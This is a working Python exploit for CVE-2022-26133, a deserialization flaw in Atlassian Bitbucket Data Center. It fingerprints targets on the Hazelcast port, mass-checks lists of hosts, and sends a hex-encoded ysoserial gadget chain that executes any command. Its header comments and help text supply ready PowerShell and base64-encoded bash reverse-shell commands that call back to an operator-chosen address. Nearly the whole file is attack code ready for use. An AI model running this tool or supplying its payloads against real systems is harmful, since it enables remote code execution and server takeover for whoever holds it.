#!/usr/bin/env python3
# -*- coding: utf_8 -*-
# @Time    : 2022/5/7 0007 9:58

from urllib.parse import urlparse
import argparse
import requests
import logging
import socket
import time

requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)

'''
Atlassian Bitbucket Data Center反序列化漏洞(CVE-2022-26133)

# Windows Reverse Shell(未免杀)
command: powershell -nop -c \"$client = New-Object System.Net.Sockets.TCPClient('192.168.1.1',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()\"

# Linux Reverse Shell
command: bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjExMC4xLzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}

'''


class CVE_2022_26133:
    def __init__(self, target):
        parse = urlparse(target)
        self.url = parse.scheme + "://" + parse.netloc
        self.log_init()
        self.timeout = 3
        self.proxies = None
        # self.proxies = {"http": "http://127.0.0.1:8888", "https": "http://127.0.0.1:8888"}

    def log_init(self):
        LOG_FORMAT = "%(asctime)s - %(levelname)s - %(message)s"
        logging.basicConfig(level=logging.DEBUG, format=LOG_FORMAT)

    def str_to_hex(self, param):
        ll = []
        for i in param:
            ll.append(hex(ord(i)).split("x")[1])
        return "".join(ll)

    def dec_to_hex(self, param, n):
        if n == 4:
            return '{:04x}'.format(param)
        elif n == 8:
            return '{:08x}'.format(param)

    def get_socket_connect(self):
        try:
            parse = urlparse(self.url)
            target = parse.netloc.split(":")[0]
            # default port
            port = 5701

            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            socket.setdefaulttimeout(self.timeout)

            sock.connect((target, port))
            return sock
        except Exception as msg:
            logging.critical("target is not reachable, " + str(msg))

    def generate_payload(self, cluster, command):

        payload = cluster.hex()
        payload += "FFFFFF9C"

        # yso cb1 payload
        payload += "ACED0005737200176A6176612E7574696C2E5072696F72697479517565756594DA30B4FB3F82B103000249000473697A654C000A636F6D70617261746F727400164C6A6176612F7574696C2F436F6D70617261746F723B7870000000027372002B6F72672E6170616368652E636F6D6D6F6E732E6265616E7574696C732E4265616E436F6D70617261746F72E3A188EA7322A4480200024C000A636F6D70617261746F7271007E00014C000870726F70657274797400124C6A6176612F6C616E672F537472696E673B78707372003F6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E636F6D70617261746F72732E436F6D70617261626C65436F6D70617261746F72FBF49925B86EB13702000078707400106F757470757450726F706572746965737704000000037372003A636F6D2E73756E2E6F72672E6170616368652E78616C616E2E696E7465726E616C2E78736C74632E747261782E54656D706C61746573496D706C09574FC16EACAB3303000649000D5F696E64656E744E756D62657249000E5F7472616E736C6574496E6465785B000A5F62797465636F6465737400035B5B425B00065F636C6173737400125B4C6A6176612F6C616E672F436C6173733B4C00055F6E616D6571007E00044C00115F6F757470757450726F706572746965737400164C6A6176612F7574696C2F50726F706572746965733B787000000000FFFFFFFF757200035B5B424BFD19156767DB37020000787000000002757200025B42ACF317F8060854E00200007870"
        payload += self.dec_to_hex((1684 + len(command)), 8)
        payload += "CAFEBABE0000003200390A0003002207003707002507002601001073657269616C56657273696F6E5549440100014A01000D436F6E7374616E7456616C756505AD2093F391DDEF3E0100063C696E69743E010003282956010004436F646501000F4C696E654E756D6265725461626C650100124C6F63616C5661726961626C655461626C6501000474686973010013537475625472616E736C65745061796C6F616401000C496E6E6572436C61737365730100354C79736F73657269616C2F7061796C6F6164732F7574696C2F4761646765747324537475625472616E736C65745061796C6F61643B0100097472616E73666F726D010072284C636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F444F4D3B5B4C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F73657269616C697A65722F53657269616C697A6174696F6E48616E646C65723B2956010008646F63756D656E7401002D4C636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F444F4D3B01000868616E646C6572730100425B4C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F73657269616C697A65722F53657269616C697A6174696F6E48616E646C65723B01000A457863657074696F6E730700270100A6284C636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F444F4D3B4C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F64746D2F44544D417869734974657261746F723B4C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F73657269616C697A65722F53657269616C697A6174696F6E48616E646C65723B29560100086974657261746F720100354C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F64746D2F44544D417869734974657261746F723B01000768616E646C65720100414C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F73657269616C697A65722F53657269616C697A6174696F6E48616E646C65723B01000A536F7572636546696C6501000C476164676574732E6A6176610C000A000B07002801003379736F73657269616C2F7061796C6F6164732F7574696C2F4761646765747324537475625472616E736C65745061796C6F6164010040636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F72756E74696D652F41627374726163745472616E736C65740100146A6176612F696F2F53657269616C697A61626C65010039636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F5472616E736C6574457863657074696F6E01001F79736F73657269616C2F7061796C6F6164732F7574696C2F476164676574730100083C636C696E69743E0100116A6176612F6C616E672F52756E74696D6507002A01000A67657452756E74696D6501001528294C6A6176612F6C616E672F52756E74696D653B0C002C002D0A002B002E01"
        payload += self.dec_to_hex((len(command)), 4)
        payload += self.str_to_hex(command)
        payload += "08003001000465786563010027284C6A6176612F6C616E672F537472696E673B294C6A6176612F6C616E672F50726F636573733B0C003200330A002B003401000D537461636B4D61705461626C6501001D79736F73657269616C2F50776E6572383931393230313938343538303001001F4C79736F73657269616C2F50776E657238393139323031393834353830303B002100020003000100040001001A000500060001000700000002000800040001000A000B0001000C0000002F00010001000000052AB70001B100000002000D0000000600010000002F000E0000000C000100000005000F003800000001001300140002000C0000003F0000000300000001B100000002000D00000006000100000034000E00000020000300000001000F0038000000000001001500160001000000010017001800020019000000040001001A00010013001B0002000C000000490000000400000001B100000002000D00000006000100000038000E0000002A000400000001000F003800000000000100150016000100000001001C001D000200000001001E001F00030019000000040001001A00080029000B0001000C00000024000300020000000FA70003014CB8002F1231B6003557B1000000010036000000030001030002002000000002002100110000000A000100020023001000097571007E0010000001D4CAFEBABE00000032001B0A0003001507001707001807001901001073657269616C56657273696F6E5549440100014A01000D436F6E7374616E7456616C75650571E669EE3C6D47180100063C696E69743E010003282956010004436F646501000F4C696E654E756D6265725461626C650100124C6F63616C5661726961626C655461626C6501000474686973010003466F6F01000C496E6E6572436C61737365730100254C79736F73657269616C2F7061796C6F6164732F7574696C2F4761646765747324466F6F3B01000A536F7572636546696C6501000C476164676574732E6A6176610C000A000B07001A01002379736F73657269616C2F7061796C6F6164732F7574696C2F4761646765747324466F6F0100106A6176612F6C616E672F4F626A6563740100146A6176612F696F2F53657269616C697A61626C6501001F79736F73657269616C2F7061796C6F6164732F7574696C2F47616467657473002100020003000100040001001A000500060001000700000002000800010001000A000B0001000C0000002F00010001000000052AB70001B100000002000D0000000600010000003C000E0000000C000100000005000F001200000002001300000002001400110000000A000100020016001000097074000450776E72707701007871007E000D78"

        # logging.info("payload: " + payload)
        return payload

    def verify(self, Batch=False):

        logging.debug("Checking " + self.url)

        try:
            sock = self.get_socket_connect()
            if sock is not None:
                # get ClusterName
                data = "000000027361"
                sock.send(bytes.fromhex(data))
                ClusterName = sock.recv(4) + sock.recv(1024)
                sock.close()

                if len(ClusterName) != 0:
                    logging.info("\033[0;36mTarget is vulnerable.\033[0m")
                    if Batch != False:
                        with open("success.txt", "a+") as fo:
                            fo.write(self.url + "\n")
                        fo.close()

                    return ClusterName

        except Exception as msg:
            logging.critical(msg)

    def exploit(self, command):
        ClusterName = self.verify()
        if ClusterName is not None:
            try:
                sock = self.get_socket_connect()
                if sock is not None:
                    logging.info("command => " + command)
                    payload = self.generate_payload(ClusterName, command)

                    sock.send(bytes.fromhex(payload))
                    time.sleep(0.5)
                    res = sock.recv(1024)
                    sock.close()

                    if len(res) != 0:
                        logging.info("payload send success, check it.")

            except Exception as msg:
                if isinstance(msg, ConnectionResetError):
                    logging.warning("ConnectionResetError: Payload maybe execute successful once target is Linux, Check it.")
                else:
                    logging.critical(msg)


if __name__ == '__main__':

    parser = argparse.ArgumentParser()
    parser.add_argument('-u', dest='url', help='input target url, eg: http://192.168.1.1:7990/')
    parser.add_argument('--verify', action='store_true', default=False, help='verify mode, verify if target is vulnerable.')
    parser.add_argument('-c', dest='command', help='exploit mode, eg: bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjExMC4xLzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}')
    parser.add_argument('-f', dest='file', help='verify targets in the file if vulnerable.')
    args = parser.parse_args()

    print("""
   ______     _______     ____   ___ ____  ____      ____   __   _ __________ 
  / ___\ \   / / ____|   |___ \ / _ \___ \|___ \    |___ \ / /_ / |___ /___ / 
 | |    \ \ / /|  _| _____ __) | | | |__) | __) |____ __) | '_ \| | |_ \ |_ \ 
 | |___  \ V / | |__|_____/ __/| |_| / __/ / __/_____/ __/| (_) | |___) |__) |
  \____|  \_/  |_____|   |_____|\___/_____|_____|   |_____|\___/|_|____/____/ 
        """)

    if args.verify:
        CVE_2022_26133(args.url).verify()
    elif args.file:
        with open(args.file, 'r') as f:
            targets = f.readlines()
            f.close()
            for target in targets:
                CVE_2022_26133(target.strip()).verify(True)
    elif args.command:
        CVE_2022_26133(args.url).exploit(args.command)
